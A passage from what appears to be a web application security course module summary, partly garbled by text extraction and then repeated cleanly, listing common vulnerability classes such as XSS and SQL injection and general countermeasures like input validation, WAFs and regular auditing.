b y  v a r io u s  a tta c k s  th a t  re s u lts  in  h u g e  re v e n u e  loss fo r  th e  o rg a n iz a t io n s

S o m e  o f  th e  m a jo r  w e b  a p p lic a t io n  v u ln e ra b il it ie s  in c lu d e  in je c t io n  f la w s , c ro s s -s ite  s c r ip t in g  

(XSS), SQL in je c t io n , s e c u r ity  m is c o n f ig u ra t io n , b ro k e n  sess ion  m a n a g e m e n t, e tc .

In p u t v a lid a t io n  f la w s  a re  a m a jo r  c o n c e rn  as a tta c k e rs  can  e x p lo it  th e s e  f la w s  to  p e r fo rm  o r  

c re a te  a base fo r  m o s t o f  th e  w e b  a p p lic a t io n  a tta c k s , in c lu d in g  c ro s s -s ite  s c r ip t in g , b u ffe r  

o v e rf lo w , in je c t io n  a tta c k s , e tc .

It  is a lso  o b se rve d  th a t  m o s t o f  th e  v u ln e ra b il it ie s  re s u lt because  o f  m is c o n f ig u ra t io n  a n d  n o t 

fo l lo w in g  s ta n d a rd  s e c u r ity  p ra c tic e s

C o m m o n  c o u n te rm e a s u re s  fo r  w e b  a p p lic a t io n  s e c u r ity  in c lu d e  se cu re  a p p lic a t io n  

d e v e lo p m e n t, in p u t  v a lid a t io n , c re a t in g  a n d  fo l lo w in g  s e c u r ity  b e s t p ra c tic e s , u s in g  W AF 

F ire w a ll/ ID S  a n d  p e r fo rm in g  re g u la r  a u d it in g  o f  n e tw o rk  u s in g  w e b  a p p lic a t io n  s e c u r ity  to o ls

-----------

M o d u l e  S u m m a r y

© Organizations today rely heavily on web applications and Web 2.0 
technologies
to support key business processes and improve performance.

With increasing dependence, web applications and web services are increasingly being 
targeted by various attacks that results in huge revenue loss for the organizations.

Some of the major web application vulnerabilities include injection flaws, cross-site 
scripting (XSS), SQL injection, security misconfiguration, broken session management, 
etc.

Input validation flaws are a major concern as attackers can exploit these flaws to 
perform or create a base for most of the web application attacks, including cross-site 
scripting, buffer overflow, injection attacks, etc.

It is also observed that most of the vulnerabilities result because of misconfiguration 
and not following standard security practices.

Common countermeasures for web application security include secure application 
development, input validation, creating and following security best practices, using WAF 
firewall/IDS, and performing regular auditing of network using web application security 
tools.

©

e

©

e

©
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